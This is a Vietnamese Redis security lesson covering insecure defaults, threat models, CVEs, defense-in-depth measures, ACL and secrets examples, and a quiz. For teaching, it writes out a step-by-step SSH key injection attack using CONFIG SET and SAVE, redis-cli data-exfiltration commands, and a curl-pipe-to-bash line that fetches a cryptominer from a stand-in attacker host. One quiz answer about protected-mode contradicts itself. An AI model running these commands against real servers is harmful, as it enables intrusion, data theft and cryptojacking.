Bài 111: Vì Sao Hardening Redis

• Hiểu rõ các defaults của Redis không an toàn theo nghĩa nào và trong ngữ cảnh nào.
• Xây dựng được threat model thực tế cho Redis deployment: external attacker, lateral movement, insider, misconfiguration.
• Mô tả được từng dạng tấn công: data exfiltration, data destruction, cryptojacking qua SSH key injection, RCE qua module.
• Biết các CVE đáng chú ý và nguyên nhân gốc rễ của từng lỗ hổng.
• Giải thích được nguyên tắc defense in depth và áp dụng cho Redis.
• Nhận diện được các anti-pattern tư duy bảo mật phổ biến ("behind firewall → safe").
• Nắm được roadmap Module 10 sẽ đi qua những gì.

Redis được thiết kế để dễ bắt đầu: redis-server không cần cấu hình, chạy được ngay. Nhưng "easy to start" đi kèm với một số defaults mà ops cần hiểu rõ trước khi đưa lên production.

Các defaults quan trọng

Tham số	Default	Ý nghĩa bảo mật
bind	127.0.0.1 -::1 (Redis 3.2+)	Chỉ nghe localhost. An toàn nếu không thay đổi, nguy hiểm ngay khi đổi thành 0.0.0.0.
protected-mode	yes	Từ chối kết nối từ ngoài localhost nếu không có AUTH và bind tường minh. Tầng bảo vệ thứ hai.
requirepass	không đặt (Redis ≤ 6)	Không có authentication. Bất kỳ client nào kết nối được đều có toàn quyền.
TLS	tắt	Dữ liệu truyền plaintext. Credential, session token đều có thể bị sniff trên network.
Commands	tất cả available	Bao gồm CONFIG, DEBUG, FLUSHALL, MODULE LOAD — các lệnh có thể phá hủy hoặc chiếm quyền hệ thống.
ACL	1 user default với full permission	Redis 6+ có ACL nhưng mặc định user default không có password và có toàn quyền.

Trước Redis 3.2 (phát hành 2016), bind default là 0.0.0.0 — tức là nghe tất cả interface. Đây là một phần lý do hàng chục nghìn server bị tấn công qua port 6379 trong giai đoạn 2015–2018. Redis 3.2 đổi default thành 127.0.0.1 kết hợp protected-mode yes để giảm thiểu rủi ro cho người mới cài.

Dù vậy, vấn đề vẫn còn. Một lệnh phổ biến trong nhiều hướng dẫn cài đặt là:

# Thường thấy trong quickstart guide và Docker compose
bind 0.0.0.0

Một dòng đó đủ để mở Redis ra public nếu firewall không chặn port 6379.

Shodan là search engine cho các thiết bị và service có thể kết nối từ Internet. Kết quả tìm kiếm cho port 6379 (Redis default) cho thấy:

• Năm 2023: hơn 50.000 Redis instance lộ ra Internet công khai, phần lớn không có AUTH, không có TLS.
• Phân bố địa lý rải rác khắp nơi, nhiều nhất là Trung Quốc, Mỹ, Đức, Nga.
• Một tỷ lệ lớn đang chạy các phiên bản Redis cũ (4.x, 5.x) không còn được hỗ trợ security patch.

Honeypot experiment được ghi lại nhiều lần trong cộng đồng bảo mật: dựng một Redis instance không có AUTH, bind 0.0.0.0, mở port 6379 ra Internet — thời gian trung bình đến lần exploit đầu tiên là dưới 1 phút. Các scanner tự động liên tục quét toàn bộ không gian IPv4 cho port 6379.

Điều này không phải lý do để hoảng loạn mà là lý do để không để Redis ở một nơi có thể bị reach từ Internet mà không có bất kỳ lớp bảo vệ nào.

Threat model là bài tập xác định: ai có thể tấn công, từ đâu, theo cách nào, và mục tiêu là gì. Với Redis production deployment, có 5 vector đáng xem xét:

External attacker

Kẻ tấn công từ Internet scan port 6379, kết nối thẳng nếu Redis bind public IP và không có AUTH. Đây là vector phổ biến nhất và dễ ngăn nhất — chỉ cần không để Redis expose Internet.

Internal lateral movement

App server bị compromise (RCE qua lỗ hổng ứng dụng, dependency vulnerability, etc.). Từ app server, attacker có thể kết nối Redis nội bộ vì Redis thường tin tưởng các host trong cùng network. Nếu Redis không có AUTH, attacker có toàn quyền với data.

Đây là vector nguy hiểm và thường bị bỏ qua vì tư duy "Redis ở internal network là an toàn".

Malicious insider

Developer hoặc ops có quyền truy cập môi trường production nhưng sử dụng quyền đó vượt phạm vi cần thiết: đọc session token của user, dump cache để lấy dữ liệu nhạy cảm. ACL granular giảm thiểu attack surface cho vector này.

Supply chain

Dependency bị compromise (npm package, pip package) chứa code độc hại, chạy trong context của ứng dụng và có quyền dùng Redis connection đã authenticate. Least privilege ở tầng ACL giới hạn thiệt hại.

Misconfiguration

Không phải attacker bên ngoài mà là lỗi vô ý: ops đổi bind 0.0.0.0 để debug rồi quên revert, hoặc security group/firewall rule bị thay đổi nhầm. Audit log và infrastructure-as-code review giảm thiểu rủi ro này.

Sau khi attacker có thể kết nối Redis, các hành động phổ biến theo thứ tự từ ít đến nhiều thiệt hại:

Data exfiltration

Đơn giản nhất. Dùng SCAN để liệt kê key, GET/HGETALL/LRANGE để đọc giá trị. Session token, API key, OTP, personal data — tất cả đều readable nếu không encrypt trước khi ghi vào Redis.

# Scan toàn bộ keyspace
redis-cli -h target SCAN 0 COUNT 1000

# Đọc từng key
redis-cli -h target GET "session:user:12345"

Data destruction

FLUSHALL xóa toàn bộ database. FLUSHDB xóa một database cụ thể. DEL xóa từng key. Với hệ thống dùng Redis làm primary store (không có DB phía sau), đây là thiệt hại không phục hồi được nếu không có backup.

Cryptojacking qua SSH key injection

Được mô tả chi tiết ở mục 6. Kết hợp CONFIG SET và SAVE để ghi file SSH authorized_keys, sau đó SSH vào server với tư cách root.

Session hijacking / impersonation

Đọc session token từ Redis → dùng token đó để giả mạo user trên application. Không cần biết password của user. Đặc biệt nguy hiểm với admin session.

RCE qua MODULE LOAD

Redis cho phép load dynamic module (.so file) vào runtime qua lệnh MODULE LOAD /path/to/module.so. Module có thể thực thi code tùy ý ở cấp độ process của Redis. Attacker có thể upload module độc hại (nếu có quyền write filesystem) và load nó.

Dự án RedisModules-ExecuteCommand là ví dụ công khai về module cho phép thực thi shell command qua Redis command.

Crontab injection

Tương tự SSH key injection: dùng CONFIG SET dir /var/spool/cron/ và SAVE để ghi crontab entry thực thi reverse shell. Yêu cầu Redis chạy với user có quyền ghi vào thư mục đó.

Kỹ thuật này được ghi nhận rộng rãi từ 2018–2020, đã compromise hàng nghìn server. Nó hoạt động bằng cách lợi dụng lệnh CONFIG SET của Redis để thay đổi thư mục persistence và tên file, sau đó dùng SAVE để ghi dữ liệu tùy ý ra filesystem.

# Bước 1: Kết nối Redis không có AUTH
redis-cli -h target.example.com

# Bước 2: Thay đổi thư mục persistence về ~/.ssh
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys

# Bước 3: Ghi SSH public key của attacker vào một key Redis
# Có thêm newline ở đầu và cuối để tránh conflict với dữ liệu Redis có sẵn trong file
SET pwn "\n\nssh-rsa AAAA...attacker_public_key... attacker@evil\n\n"

# Bước 4: Trigger persistence write
SAVE
# Lúc này Redis ghi toàn bộ data ra /root/.ssh/authorized_keys
# File sẽ chứa binary header của RDB format + SSH key của attacker
# SSH chấp nhận file authorized_keys có dữ liệu rác miễn là đọc được ít nhất 1 key hợp lệ

# Bước 5: SSH login với private key tương ứng
# (từ máy của attacker)
ssh -i attacker_private_key [email protected]

# Bước 6: Cài cryptominer
curl -s http://evil.example.com/miner.sh | bash

Điểm làm kỹ thuật này đơn giản và hiệu quả:

• Không cần exploit lỗ hổng code — chỉ dùng các lệnh Redis hợp lệ.
• SSH authorized_keys chấp nhận file có nội dung không phải SSH key miễn là tìm được ít nhất 1 key hợp lệ trong file.
• Nếu Redis chạy dưới user root (không hiếm gặp khi cài thủ công), attacker có full root access.

Điều kiện để attack thành công:

• Redis kết nối được từ host của attacker (Internet hoặc internal).
• Redis không có AUTH hoặc attacker đã có credential.
• Redis chạy dưới user có quyền write ~/.ssh/.
• Lệnh CONFIG không bị rename/disable.
• RDB persistence được bật (SAVE không bị disable).

Ngăn chặn bất kỳ điều kiện nào trong số này là đủ để phá attack chain.

Redis core tương đối ít CVE nghiêm trọng so với nhiều phần mềm khác, nhưng một số lỗ hổng đáng biết:

CVE	Năm	Mô tả	CVSS
CVE-2015-4335	2015	EVAL Lua sandbox escape — user có quyền EVAL có thể thoát khỏi Lua sandbox và thực thi code tùy ý ở tầng C.	10.0 (Critical)
CVE-2022-0543	2022	Debian/Ubuntu package Lua sandbox escape dẫn đến RCE. Lỗi trong cách Debian build Lua với package global còn sót lại, không phải trong Redis code gốc. Ảnh hưởng Debian/Ubuntu package chính thức.	10.0 (Critical)
CVE-2022-24735	2022	Lua script injection qua crafted Lua script có thể bypass ACL. Redis 7.0 fix.	3.9 (Low)
CVE-2023-25155	2023	Integer overflow trong SRANDMEMBER, ZRANDMEMBER, HRANDFIELD với count đặc biệt lớn. Có thể gây crash (DoS). Redis 7.0.9, 7.2-rc2 fix.	6.5 (Medium)
CVE-2023-28425	2023	Specially crafted MSETNX command có thể gây assertion failure (crash). DoS.	5.5 (Medium)

Một số nhận xét:

• CVE-2022-0543 là ví dụ về supply chain risk: lỗi không nằm trong Redis upstream mà trong Debian packaging. Patch từ Redis core không giải quyết được — phải cập nhật package từ distro.
• Nhiều attack thực tế không cần CVE — chỉ cần misconfiguration (no AUTH, public bind) là đủ.
• Luôn theo dõi Redis release notes và patch kịp thời.

Defense in depth là nguyên tắc: không dựa vào một lớp bảo vệ duy nhất. Mỗi lớp độc lập — nếu một lớp bị vượt qua, lớp tiếp theo vẫn còn. Với Redis, các lớp đó là:

Lớp	Cơ chế	Ngăn chặn
Network	bind localhost / VPC-only / firewall block 6379	External attacker không reach được Redis
Authentication	requirepass / ACL password	Client không có credential không execute được command nào
Authorization	ACL granular per user/app (Redis 6+)	User chỉ làm được đúng những gì cần, không hơn
Encryption in transit	TLS	Sniffing network không lấy được credential và data
Encryption at rest	Filesystem encryption (LUKS, dm-crypt, cloud volume encryption)	Disk được lấy vật lý không đọc được data
Command hardening	rename-command, disable MODULE, disable SAVE nếu chỉ dùng AOF	Giảm attack surface — phá được một số attack chain (cryptojacking)
Monitoring	Audit log, anomaly detection, alert bất thường	Phát hiện attack đang xảy ra, giảm thời gian phản ứng
Patch management	Cập nhật Redis theo release	Vá các CVE đã biết

Nguyên tắc ứng dụng: không cần implement tất cả ngay từ đầu, nhưng cần biết mình đang thiếu lớp nào và rủi ro tương ứng là gì. Đối với production, các lớp Network + Authentication + Authorization là tối thiểu.

Checklist dưới đây là tổng hợp toàn bộ Module 10. Mỗi mục sẽ được đi sâu trong bài tương ứng:

• Bind localhost hoặc VPC IP cụ thể — không bind 0.0.0.0 trên production.
• protected-mode yes luôn bật.
• Strong AUTH password — ít nhất 32 ký tự random, không dùng tên service hay hostname.
• ACL granular: per-app user, chỉ cho phép command và keyspace cần thiết.
• TLS cho kết nối client và replication.
• rename-command CONFIG "", rename-command DEBUG "", rename-command FLUSHALL "" (hoặc đặt tên khó đoán).
• Disable MODULE LOAD nếu không dùng Redis Modules.
• Nếu chỉ dùng AOF: disable RDB SAVE để phá SSH key injection chain.
• Chạy Redis dưới dedicated non-root user (redis).
• Audit log connection và command.
• Cập nhật Redis theo release cycle, theo dõi CVE.
• Secrets (password, TLS key) không commit vào git, quản lý qua secrets manager.

Cloud-managed Redis (AWS ElastiCache, GCP Memorystore, Azure Cache for Redis) có một số hardening mặc định mà self-hosted không có:

Tính năng	AWS ElastiCache	GCP Memorystore	Self-hosted
Network isolation	VPC, Security Group bắt buộc	VPC bắt buộc, không expose public	Ops tự cấu hình
Encryption at rest	Có (opt-in)	Có (default bật)	Ops tự cấu hình
Encryption in transit (TLS)	Có (opt-in)	Có (opt-in)	Ops tự cấu hình
AUTH token	Có	Có	Ops tự cấu hình
Patch management	Cloud provider lo	Cloud provider lo	Ops tự lo
OS-level access	Không có	Không có	Ops có full

Cloud-managed giảm đáng kể operational security burden. Tuy nhiên:

• Network isolation không tự động đúng — phải cấu hình Security Group/VPC đúng để chỉ app server mới kết nối được.
• Encryption và AUTH vẫn cần enable tường minh trên nhiều service.
• ACL granular vẫn là trách nhiệm của ops/dev.
• Application-layer security (không store sensitive data không cần thiết, TTL hợp lý) hoàn toàn là trách nhiệm của dev.

Self-hosted (bare metal, VPS, Kubernetes): mọi thứ trong checklist ở mục 9 đều là trách nhiệm của team. Đây là ngữ cảnh mà Module 10 tập trung vào.

Một Redis instance phục vụ nhiều ứng dụng là pattern phổ biến để tiết kiệm tài nguyên. Cần hiểu rõ các mức độ isolation:

SELECT database (0..15)

Redis có 16 logical database (0–15), chuyển qua lệnh SELECT N. Đây không phải isolation thực sự:

• Cùng chung memory, cùng chung CPU.
• User có toàn quyền có thể FLUSHALL xóa tất cả database cùng lúc.
• User ở database 0 có thể SELECT 1 rồi đọc data của app khác.
• Redis Cluster không hỗ trợ multiple databases — chỉ có database 0.

ACL per-user isolation

Redis 6+ ACL cho phép giới hạn user chỉ được đọc/ghi key theo pattern nhất định:

# app-backend chỉ được thao tác với key prefix "app:"
ACL SETUSER app-backend on >strongpassword ~app:* &* +@all -@dangerous

# app-frontend chỉ được GET, không được SET/DEL
ACL SETUSER app-frontend on >anotherpass ~app:public:* &* +GET

ACL cung cấp isolation ở tầng application logic, không phải process isolation.

Separate instance

Nếu hai ứng dụng có security boundary khác nhau (ví dụ: app public và app internal admin), nên dùng instance riêng. Isolation tốt hơn, blast radius nhỏ hơn khi compromise.

Nếu Redis chứa hoặc đi qua dữ liệu nằm trong phạm vi của các framework compliance, các yêu cầu kỹ thuật tối thiểu cần đáp ứng:

Framework	Loại dữ liệu	Yêu cầu liên quan đến Redis
PCI-DSS	Payment card data (PAN, CVV)	Encryption in transit (TLS), encryption at rest, access control, audit log, network isolation. Ideally: không store card data trong Redis — chỉ store token.
GDPR	PII của EU residents	Access control (ai đọc được PII), audit log (ai đã đọc), right to erasure (DEL user data khi có yêu cầu), data minimization (chỉ cache những gì cần).
HIPAA	Protected Health Information (PHI)	Strict access control (ACL), encryption in transit và at rest, audit log, minimum necessary standard.

Điểm thực tế: compliance audit sẽ hỏi "Redis instance này có thể chứa in-scope data không, và nếu có thì bạn kiểm soát access như thế nào?". Document rõ Redis deployment có touch dữ liệu nhạy cảm hay không, và nếu có thì control nào đang áp dụng.

Redis password và TLS certificate là secrets — cần quản lý riêng, không để lọt vào source code hay process listing.

Những gì không nên làm

# KHÔNG làm: hardcode trong code
const redis = new Redis({ password: "myredispassword123" });

# KHÔNG làm: commit vào git
# redis.conf với requirepass plaintext trong repo

# KHÔNG làm (cẩn thận): environment variable đọc được qua /proc
# process listing: ps aux | grep redis sẽ thấy flag --requirepass nếu pass qua CLI

Cách quản lý đúng

• HashiCorp Vault: dynamic credential generation, secret lease, automatic rotation. Phù hợp cho self-hosted infrastructure phức tạp.
• AWS Secrets Manager / Parameter Store: lưu trữ encrypted, rotation tự động, IAM-controlled access. Phù hợp cho stack AWS.
• Kubernetes Secret: base64-encoded (không phải encrypted by default). Cần bật encryption at rest cho etcd, hoặc dùng External Secrets Operator để kéo từ Vault/AWS.
• GCP Secret Manager: tương tự AWS Secrets Manager cho GCP stack.

Nguyên tắc chung: secret phải được inject vào process qua mechanism được kiểm soát, không pass qua CLI argument hay environment variable trong Dockerfile.

# Kubernetes Secret + mounted as volume file
# redis.conf đọc password từ /etc/redis/secrets/requirepass
# (không expose qua env var)
volumes:
  - name: redis-secret
    secret:
      secretName: redis-credentials
volumeMounts:
  - mountPath: /etc/redis/secrets
    name: redis-secret
    readOnly: true

Các lập luận dưới đây thường xuất hiện trong team và đều có điểm yếu cần nhận ra:

"Behind firewall thì không cần hardening"

Firewall là một lớp bảo vệ, không phải tất cả. Lateral movement sau khi app server bị compromise, insider threat, misconfiguration của firewall rule — tất cả đều có thể xảy ra. Defense in depth đặt lớp bảo vệ ngay tại Redis, không chỉ ở perimeter.

"Internal app chỉ dùng Redis, không cần AUTH"

Insider threat là real. Dev vô tình đẩy credential production lên git cũng là real. "Internal" không đồng nghĩa với "trusted by everyone at all times".

"Performance sẽ giảm nếu bật TLS"

TLS gây khoảng 10–20% throughput drop trong benchmark thực tế (xem mục 15). Đây là con số có thể đo được và thường chấp nhận được. So với chi phí của một breach, đây là trade-off rõ ràng.

"Sẽ làm sau khi có user"

Hardening thường bị hoãn vì không urgency rõ ràng — cho đến khi có incident. Retroactively hardening một hệ thống đang chạy phức tạp hơn nhiều so với làm đúng từ đầu. Rotation credential khi đã deploy rộng, thêm TLS khi client library chưa configure — mỗi thứ đều tốn effort.

Câu hỏi thực tế: hardening tốn gì về mặt performance? Dưới đây là ước tính dựa trên benchmark được chia sẻ trong cộng đồng và Redis documentation:

Cơ chế	Overhead ước tính	Ghi chú
AUTH password	Negligible (1 round-trip per connection)	Connection pooling khiến chi phí amortized về gần 0
ACL check	~1–2% latency increase	Hash lookup O(1), chi phí nhỏ
TLS in transit	10–20% throughput reduction	Tùy cipher suite, hardware, connection reuse. TLS session resumption giảm overhead đáng kể.
Filesystem encryption at rest	Không ảnh hưởng Redis trực tiếp	Overhead ở tầng block device, Redis vẫn đọc/ghi vào RAM bình thường
rename-command	0	Chỉ thay đổi command name lookup

Tổng: với workload thuần trong VPC (TLS tắt giữa các service trong cùng network segment), overhead tổng thể của AUTH + ACL là dưới 2–3%. Nếu bật TLS, chi phí cao hơn nhưng thường chấp nhận được — cần benchmark với workload thực tế của hệ thống.

Module 10 Redis Hardening gồm 9 bài, đi từ lớp network đến command restriction, TLS, secrets và incident response:

• Bài 111 (bài này): Threat model, attack types, CVE history, defense in depth overview.
• Bài 112: protected-mode và bind — cấu hình lớp network đầu tiên.
• Bài 113: AUTH password và masterauth cho replication.
• Bài 114: ACL (Redis 6+) — per-user permission, keyspace restriction, command category.
• Bài 115: TLS encryption — client connection và replication traffic.
• Bài 116: rename dangerous commands và module restrictions.
• Bài 117: Network isolation — VPC, firewall, security group.
• Bài 118: Secrets management — Vault, AWS Secrets Manager, K8s Secret.
• Bài 119: Anti-patterns hardening và incident response basics.

Redis defaults an toàn hơn nhiều so với các phiên bản trước 3.2, nhưng vẫn cần cấu hình chủ động cho production. Các điểm cần nhớ:

• Bind default là 127.0.0.1 từ Redis 3.2 — đổi thành 0.0.0.0 mà không có firewall là nguy hiểm.
• Threat model gồm 5 vector: external attacker, lateral movement, insider, supply chain, misconfiguration. Mỗi vector cần lớp bảo vệ khác nhau.
• Cryptojacking qua SSH key injection là attack không cần CVE — chỉ cần misconfiguration. Disable SAVE hoặc rename CONFIG là đủ để phá chain này.
• Defense in depth: network + auth + ACL + TLS + command hardening + monitoring.
• TLS overhead ~10–20%; AUTH + ACL overhead dưới 2–3%.

Quiz

1. Redis 3.2+ có bind 127.0.0.1 và protected-mode yes mặc định. Trong trường hợp nào một Redis "fresh install" vẫn có thể bị kết nối từ external host?
2. Mô tả các bước của SSH key injection attack. Cần disable/rename command nào để phá attack chain này?
3. Phân biệt SELECT database (0–15) và ACL per-user về mức độ isolation. Khi nào nên dùng separate instance thay vì ACL?
4. CVE-2022-0543 ảnh hưởng Debian/Ubuntu. Tại sao upstream Redis patch không đủ để fix lỗ hổng này?
5. Team đang self-host Redis trong Kubernetes, chỉ bật AUTH. Threat vector nào vẫn còn open? Nêu ít nhất 3.

Đáp án gợi ý

1. Nếu ops đổi bind thành 0.0.0.0 (hoặc IP public) và không có firewall chặn port 6379 — dù protected-mode yes, Redis vẫn reject nếu không có AUTH. Nhưng nếu cũng không có requirepass, protected-mode sẽ từ chối kết nối từ ngoài. Tuy nhiên nếu ops đặt cả requirepass và bind 0.0.0.0, Redis sẽ accept connection có credential từ Internet.
2. Connect → CONFIG SET dir /root/.ssh → CONFIG SET dbfilename authorized_keys → SET key "\n\nssh-rsa ... \n\n" → SAVE → SSH login. Disable/rename CONFIG hoặc disable SAVE (dùng AOF-only) đủ để phá chain.
3. SELECT chỉ là logical namespace — cùng user có thể SELECT bất kỳ database nào, FLUSHALL xóa tất cả. ACL per-user giới hạn keyspace và command nhưng vẫn cùng process. Separate instance khi hai workload có security boundary khác nhau (public-facing vs admin) hoặc khi blast radius cần được giới hạn hoàn toàn.
4. CVE-2022-0543 là lỗi trong cách Debian build Lua — Debian để sót package global trong Lua environment của Redis, cho phép load system library. Lỗi nằm ở Debian packaging script, không phải Redis source. Patch Redis upstream không thay đổi cách Debian build binary — phải dùng Debian/Ubuntu package update.
5. Open threat vectors: (1) Internal lateral movement — app server compromise → kết nối Redis internal không TLS. (2) Insider — user có quyền kết nối Redis không bị giới hạn command/keyspace (không có ACL granular). (3) Sniffing — traffic giữa app và Redis không được encrypt (không TLS). (4) Dangerous commands available — FLUSHALL, CONFIG, MODULE LOAD chưa được disable/rename.

Bài tiếp theo

Bài 112 đi vào chi tiết cấu hình protected-mode và bind: cách hoạt động từng tham số, các trường hợp edge case, và cách cấu hình đúng cho các deployment pattern phổ biến (single node, replica, Docker, Kubernetes).

Tham khảo

• Redis Security Documentation
• Redis ACL Documentation
• NVD — CVE-2022-0543 (Debian Lua sandbox escape)
• NVD — CVE-2015-4335 (Lua sandbox escape)
• NVD — CVE-2023-25155 (Integer overflow SRANDMEMBER)
• Shodan — Internet-connected device search
• Redis Release Notes